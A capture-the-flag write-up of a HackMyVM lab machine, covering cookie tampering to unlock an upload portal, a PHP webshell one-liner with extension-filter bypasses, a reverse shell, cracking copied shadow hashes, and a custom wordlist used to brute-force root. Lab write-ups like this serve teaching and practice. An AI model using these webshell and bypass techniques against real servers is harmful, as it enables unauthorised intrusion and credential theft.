“An easy one to change…” HackMyVM machine covering cookie manipulation, insecure upload file portal, credential stealing, and password cracking with a custom wordlist.
This machine can be downloaded from HackMyVM. You don’t need to create an account, you only need an account to submit the user/root flags and access the rest of the platform.
To set up this machine inside Proxmox, I used the following resource as a reference: https://benheater.com/proxmox-lab-adding-vulnhub-vms/. Additionally, I had to fix some DHCP issues when booting the machine using the following resource: https://benheater.com/proxmox-lab-adding-hackmyvm-boxes/.
Finally, I set up a simple DHCP server to assign an IP address from my Kali machine to the vulnerable VM. Here’s my own guide on how to configured it based on a previous writeup for the Kioptrix series: Kioptrix Level 2 (1.1) - VulnHub Writeup.
Enumeration
First, let's verify that our vulnerable VM has an assigned IP with arpscan.
└─$ sudo arp-scan --interface=eth2 -l
Interface: eth2, type: EN10MB, MAC: bc:24:11:b4:13:a7, IPv4: 10.0.1.5
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
10.0.1.120 bc:24:11:de:79:a0 (Unknown)
1 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.023 seconds (126.54 hosts/sec). 1 respondedNow, let's continue with our standard nmap enumeration.
└─$ nmap 10.0.1.120 -p- -T4 -oN all-ports
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-15 09:06 MDT
Nmap scan report for 10.0.1.120
Host is up (0.00012s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: BC:24:11:DE:79:A0 (Proxmox Server Solutions GmbH)
Nmap done: 1 IP address (1 host up) scanned in 1.12 secondsLooking inside the website, we will see a countdown for a Bolt website.
Directory enumeration doesn't reveal anything interesting.
Using whatweb to see the technologies being used by the server, we can see that there is a cookie value that appears to be bsae-64 encoded.
└─$ whatweb http://10.0.1.120/
http://10.0.1.120/ [200 OK] Apache[2.4.51], Bootstrap, Cookies[RW5hYmxlVXBsb2FkZXIK], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.51 (Debian)], IP[10.0.1.120], JQuery, Script[text/javascript], Title[Bolt - Coming Soon Template]After decoding these values, we will see that they are equal to EnableUploader: false.
Can we change this value to be equal to true? By opening the DevTools menu with CTRL+Shift+I, navigating to Storage, selecting the cookies for the current URL, we can see the current cookies of the website. To edit the value, double click the current value. I added a base-64 encoded value of the true string (dHJ1ZQ). After refreshing the page, we should be able to see some changes.
Great! Now, let's see what this upload site contains.
A minimal upload functionality to upload photos. Can we upload a webshell here to get a shell?
Upload Portal Abuse
First, let's try to understand how this system works. I created a screenshot from my current desktop (test-img.png) and uploaded it to the website. After the image was uploaded, it was added to the /assets/img directory!
Let's try to upload one-liner.php, which contains a very simple webshell: <?php system($_GET['cmd']); ?>.
Alright, let's try changing the extension of the file to .php.png to attempt to bypass this filter.
It was uploaded! However, I wasn't able to execute commands through this file, so let's modify our payload. Currently, the error I'm getting is related with an image trying to be displayed.
Let's try using another extension to execute PHP code. Using this list from PayloadsAllTheThings, we can use one of these extensions to try to upload our one liner again and by pass the .php filter. Starting with the .php3 extension, it seems that this bypass is also successful!
However, it seems that I can't get this specific payload to run. Let's try using a different payload to create a reverse shell directly using nc. After many attempts, I managed to get a reverse shell using PentestMonkey's PHP reverse shell with a .phtml extension.
Lateral Movement: www-shell -> scpuser
Using the following source as a reference, we can sanitize our shell to a TTY shell with xterm256-color, making the shell more comfortable to use.
Looking inside the /var/www/html directory where the website files are hosted, we can find a notes.txt file with some interesting information.
A backups directory looks interesting. Using the find command, we can quickly locate the location of this directory.
www-data@comingsoon:/$ find / -type d -name *backup* 2>/dev/null
/var/backupsInside these files, we can see that the backup.tar.gz file is very recent. Let's try to extract its contents inside /tmp.
www-data@comingsoon:/tmp$ gunzip backup.tar.gz
www-data@comingsoon:/tmp$ ls
backup.tar
www-data@comingsoon:/tmp$ tar xvf backup.tar
var/www/
var/www/html/
var/www/html/index.php
[...]
var/www/html/assets/js/vegas.min.js
var/www/html/license.txt
var/www/html/notes.txt
etc/passwd
etc/shadowbackup.tar.gz created a copy of the /var and /etc directories! Inside, we can find files related to the web server (including my reverse shell payloads) and the passwd and shadow files! Let's exfiltrate these files back to our Kali machine to crack any passwords using john.
We have a password for scpuser! Now, we can su to the scpuser and get the user flag.
www-data@comingsoon:/tmp/etc$ su scpuser
Password:
scpuser@comingsoon:/tmp/etc$ cd
scpuser@comingsoon:~$ ls
user.txt
scpuser@comingsoon:~$ cat user.txt
...Privilege Escalation: scpuser -> root
Looking inside the home directory of the scpuser, we can find the .oldpasswords file.
Let's try to su to the root user with each of these passwords.
All of them failed. Is there anything that this passwords have in common? They all appear to be names of animated movies from Disney with this pattern: no spaces, title-style capitalization and no special characters. Let's try to crack the root password.
Custom wordlist creation for brute force
Using the following list as a reference (All Disney animated movies), we should be able to build our wordlist. The data inside this IMDB page is stored inside a JSON object, which we can copy and save as movies.json.
Using gron and grep, we can get a list of all titles inside that list.
Using the following commands, we can take the titles inside the quotations and remove all spaces, giving us the password format used by the root user.
└─$ gron movies.json | grep "item.name" | grep -oP 'item\.name = "\K[^"]+' | tr -d ' ' > movies.txtUsing the following script (Sudo_BruteForce), we should be able to automate the brute forcing process with our wordlist.
The script went through all the passwords rather quickly, and we managed to find the root password! The root flag is available in the /root directory.